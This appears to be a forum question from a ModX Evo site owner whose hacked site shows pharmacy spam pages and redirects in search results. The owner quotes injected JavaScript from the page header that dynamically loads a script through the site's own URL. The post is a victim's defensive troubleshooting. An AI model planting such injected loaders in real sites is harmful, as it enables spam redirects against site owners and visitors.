I have a site that appears and works fine.
However if you search for it in Google a whole lot of other links come up, eg:
mysite.com/kamagra-viagra.html
Clicking this I get redirected to the Kamagra site.
I have scanned my site for viruses and cant find anything.
I am using the ModX Evo CMS.
Can anyone suggest a particular file I should be looking for that causing this?
EDIT:
I have noticed some strange Javascript in my header:
<script type="text/javascript" src="http://www.mysite.com/home.html?getjs=metric.js"></script>
<script type="text/javascript">var j1s = document.createElement('script');j1s.type = 'text/javascript';j1s.src = 'http://www.mysite.com/home.html?getjs=metric.js?getjs=metric.js';var h1ead = document.getElementsByTagName('head')[0];h1ead.appendChild(j1s);</script>
This is not in my template file, but appears when the page is loaded. I suspect this is the issue.